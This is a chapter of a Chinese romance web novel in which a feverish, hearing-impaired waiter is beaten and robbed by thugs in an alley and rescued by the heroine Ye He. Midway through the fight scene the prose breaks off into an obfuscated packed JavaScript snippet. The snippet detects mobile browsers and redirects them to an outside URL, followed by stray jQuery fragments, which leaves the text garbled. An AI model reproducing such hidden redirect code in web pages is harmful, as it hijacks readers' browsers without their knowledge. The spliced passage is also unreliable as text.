12. 第十二章

作品:《还不是看脸

    “你…”老姚刚要开口的话被他硬生生吞回了肚子里。


    他开的是饭店,不能让食客知道这里有个生病的店员。


    他做的是入口的食物,传出去,生意还要不要做了!


    电光火石间,老姚脑子飞快的转了几个弯。


    “哎呀!你看你!你家里不还有事吗!”他很大声的嚷嚷,“快走!快走!赶紧回家!神思不属的,别在这耽误!”


    他家里没事…


    徐溪亭口罩下的嘴唇一张一合,想要解释,却没有发出任何声音。


    老姚见他不动,心里更急。


    徐溪亭站在原地,被他推得踉跄了一下,“怎么还不走,省得让人说我老姚不体恤员工。”


    他对上老姚的眼睛,忽然反应过来,原来是…被发现了。


    //


    明月高悬,月影浮动。


    是个无风的晚上。


    在滨海这座沿海城市,无风的夜晚是奢侈的。通常,夜晚总会刮起或大或小的海风,带着甜腻又咸湿的气息,呼啸着穿过大街小巷,吹得人头发凌乱,只想闭上眼睛,找个背风的角落,把脸埋进衣领里。


    刘玥那个家伙,用重金贿赂她上派出所给她送夜宵,理由极其粗暴:她网吧旁边的面店没有外卖服务,但她馋虫上脑,特别想吃。


    叶和在聊天框张牙舞爪的指责她,但架不住刘玥一顿软磨硬泡,还是认命的给她打包了三份,连着和她一起值班的警察都给带上了。


    派出所旁边,烧烤店和酒吧众多,许多都营业至深夜,这条街闹事频繁,打架斗殴,各种纠纷层出不穷,有时候刘玥一晚上就要出警四五次。


    她坐在值班室的小桌子前,一边大口嗦着面条一边抱怨,“你是不知道,今晚又接了两起,都是旁边酒吧出来的,喝了几口马尿就不知道自己姓什么了,为点鸡毛蒜皮的小事就能打起来,还觉得自己特牛逼,整条街都是他们家的,太抽象了!”


    叶和坐在她旁边,慢条斯理地喝着自带的可乐,听着她抱怨,却没怎么接话,目光有些飘忽地看向窗外。


    老姚烧烤就在这条街的不远处,她有些纠结,要不要过去看看。


    叶和怀疑徐溪亭在躲着他。


    连着两天,她翘了班去福利院,却都被孙院长一脸微笑的打发了。


    “小徐不在。”


    “小徐去打工了。”


    “小徐没提过有人来找他。”


    怎么?她看起来很让人避之不及吗。


    //


    叶和推着机车往前,慢悠悠的走在人行道上,权当作散步。


    她决定把选择权交给上天,迷信一把所谓的缘分。


    灯红酒绿的一条街,叶和混在夜晚出来觅食、闲逛、寻欢作乐的人群和车流里,竟然也不算特别晃眼,还有几个站在街边拎着酒瓶的小青年自任帅气的朝她吹着口哨。


    聒噪。


    她掉头就钻进了旁边的小巷子中。


    巷子大概是这些店面的后身,还有些嗡嗡转的苍蝇围着垃圾桶跳舞,叶和屏住呼吸,不想为难自己灵敏的鼻子。


    快速的通过了这条狭窄的小巷,本以为是柳暗花明,结果她却看着眼前的三条岔路犯了难。


    三选一的问题。


    选哪个呢。


    “喵-”


    瘦长身子的小猫忽然不知从哪窜了出来,在叶和面前慢条斯理的伸了个懒腰,还高高的竖起尾巴,S形的来回扫着她的脚面。


    “呦,这么亲人啊!”叶和有点意外,蹲下来挠挠小猫的下巴,她俯身瞧了一眼,是个小公猫。


    还是银渐层。


    这年头,银渐层都出来流浪了吗?


    “咪咪!回来!”戴着个鸭舌帽的女生眉眼藏在阴影里,声音有些警惕,“它是我家的小猫。”


    叶和收回手,哭笑不得的看懂了女生的意思,“我没想抱走。”


    女生将信将疑的点点头,一把捞起来还在叶和脚步撒娇的小猫,伸手指了指左边的小巷子,“那里面有只三花没有人要,性格也不错,你要是想养,可以去看看。”


    叶和庆幸漆黑的夜色能掩盖住她尴尬的表情,她本想迈向右边的脚收了回来,“那我去看看。”


    她礼貌的点头,然后迅速的推着车从女生身边经过。


    她很想大声告诉对方,她真的!没想偷猫!


    //


    漆黑的巷子仿佛看不见光,叶和有点后悔自己刚刚的草率。


    她又往前几步,前面黑黢黢的,还有些窸窸窣窣的声音。


    真的有小猫?


    她脚步顿住。


    家里从没养过活物。


    老爸叶玺是个地质学家,一年到头天南地北地跑,越是人迹罕至、条件艰苦的山沟沟,他钻得越起劲,带回的特产永远是各种奇形怪状的石头和矿物标本。


    老妈王咏梅是省会城市三甲医院的主任,不是泡在手术室和病房,就是在全国各地参加学术论坛、忙着发论文升职称。两个都是事业型强人,能把她磕磕绊绊的养大,都已经算是家庭合作的奇迹了,哪还有多余的精力去养个宠物?


    叶和从小就眼馋别人家的小猫小狗,却一直不敢养。


    生命如此可贵,她不敢轻易许诺,更不敢轻易负责。


    还是不要去看了,她劝自己。


    万一心软了呢。


    养个小猫跟着自己吃上顿没下顿的在网吧遭罪还不如让它在这里等下一个好心人呢。


    月亮似乎读懂了她的心事,微微偏移了几分,身后的路,更亮了,眼前的小巷,更黑了。


    //


    “给钱!”黄毛一脸痞气,带头又踹了徐溪亭一脚。


    他刚刚在烧烤店里一看到这个服务员就知道是个好欺负的。


    看着个子挺高,屁都放不出一个,不是哑巴就是怂包。


    “老子知道你有钱!”黄毛向后一招手,绿毛和紫毛立刻跟着向前,将徐溪亭围得更紧。


    他们三个人刚刚急着结账跟出来,可不是为了在这个乌漆嘛黑的小巷子殴打服务员。


    爷仨还打算拿着借来的钱去找个酒吧潇洒一番呢。


    徐溪亭后背紧贴着阴冷的墙壁,他头越发的沉,已经分不太出来身上到底是哪里在疼,好像都很疼。


    好疼,好疼,好疼…


    手机从裤兜滑落,他下意识的伸手去接,却被一脚踹到在地上。


    “报警?还想报警?”黄毛狞笑着,一脚将地上的手机踹飞,“没人能来救你的。”


    又是这样,徐溪亭努力的蜷缩身子,抱着自己。


    要护住头,不能让他们打到脸,不然孙院长会担心的,伤口太明显也会影响工作。


    不能让他们抢走钱,上门做饭的时候已经搭进去了一百多,这个月的工资再被抢走,攒下来的钱就越来越少了。


    不能…


    意识在逐渐麻木的痛觉中昏昏沉沉,反抗的力气在高烧中消耗殆尽。


    取乐般的拳打脚踢却好像突然间停了下来。


    “卧槽!你谁啊!”


    好像是黄毛的声音。


    徐溪亭努力睁开眼睛,手还死死的挡在自己额头上面。


    高挑的,巨大的,天神般的身影


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481815|201788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,从天而降。


    “滚!”叶和一手格挡,一手握拳直奔黄毛面门。


    她本来都打算换条路走了,巷子里拳打脚踢的声音却太过明显。


    就算不爱多管闲事,长在红旗下的叶和,也实在忍不了赤裸裸的霸凌。


    绿毛被黄毛的惨叫惊了一下,随即恼羞成怒,随手从旁边垃圾堆里捡起半块脏兮兮的板砖,一边放着狠话一边朝叶和冲过来,“妈的!你个娇滴滴的女生少管男生的事!信不信老子连你一起……”


    娇滴滴的女生?


    叶和轻抬眉梢,在绿毛举着板砖砸下来的瞬间,她身体微微一侧,避开攻击,同时一个标准而凌厉的鞭腿,精准地扫在他脚踝和胫骨连接处!


    “啊——!”


    绿毛发出一声杀猪般的惨叫,整个人失去平衡,手里的板砖脱手飞出。他抱着小腿,蜷缩着倒在地上,疼得直抽冷气。


    紫毛不信邪,还想学着武打剧里的样子从后面潜行偷袭,叶和耳朵微动,甚至没有回头,刚放下的右腿抬起,转身狠狠一顶。


    她眼尾的戾气和凌厉混杂,唬的紫毛倒飞出去的时候都忘了护着自己,膝盖狠狠的砸在地上。


    “一帮杂碎。”叶和冷冷的吐出四个字,拍拍手,直起身。


    她下手有分寸,专挑了打人最疼却又不会被看出来的地方,这三个人,一时半会是别想站起来了。


    “喂,110吗?我要报警。”


    //


    离太阳太近的时候,会被灼伤吗?


    徐溪亭无法给出答案。


    “是你?”


    他第一次清楚的看懂了她的口型,助听器早就不知道滚到了哪里,耳廓里只有绵延不绝的耳鸣声。


    徐溪亭看到了叶和因为惊讶而骤然放大的瞳孔,疼了一天的额头此刻却像是被扔进了冰水里,那股冰凉的感觉,顺着脊椎一路蔓延到心底,激得他心脏一阵阵地发酸、发涩。


    叶和撩起了他额前的碎发,想看看他脸上有没有受伤,却被他带着抗拒的躲了躲。


    不要看到他。


    不要注意他。


    徐溪亭将自己的脸转到看不见她的地方,他不敢看她的眼睛,他怕他的样子太狼狈,他怕她连碰他一下,都是脏了她的手。


    他宁愿她没来,宁愿自己一个人在这黑暗肮脏的角落里,默默承受完这一切,然后独自舔舐伤口。


    【让我看看。】


    被踩碎的手机,连同碎片一起被叶和捡回来放在他的手心,旗舰机高清屏幕上,特意放大的字号被送到了徐溪亭的眼前。


    他眨了眨眼睛,一双通红凤眼中的委屈和狼狈一闪而逝,他喉结上下滚动了两下,终于顺着她的力道抬头。


    下巴被她指尖抬起,叶和仔细的借着手机电筒的亮光看了看,脸颊有处擦伤,只破了皮,不太严重,应该不会留疤,小哑巴的一张脸被他保护的很好。


    她看不到他的身上,但一想也知道,那三个人下手没轻没重,都是野路子,估计没少遭罪。


    【站起来往外走走?】


    叶和快速的打字,川崎被她扔在小巷子外面,她是跑进来的。


    左右一会警察来了也要出去,不如现在就往外挪腾。


    修长白皙的手伸到了徐溪亭面前,指甲修剪的干干净净,没有一丝指甲油的痕迹,指甲末端是健康的半圆形,一双健康的,没做过粗活重活的手。


    他咬着嘴唇,低着头,指尖攀住了旁边的墙壁,用力的撑着自己站起来。


    他太脏了。


    他不能握她的手。


    会把她…也弄脏的。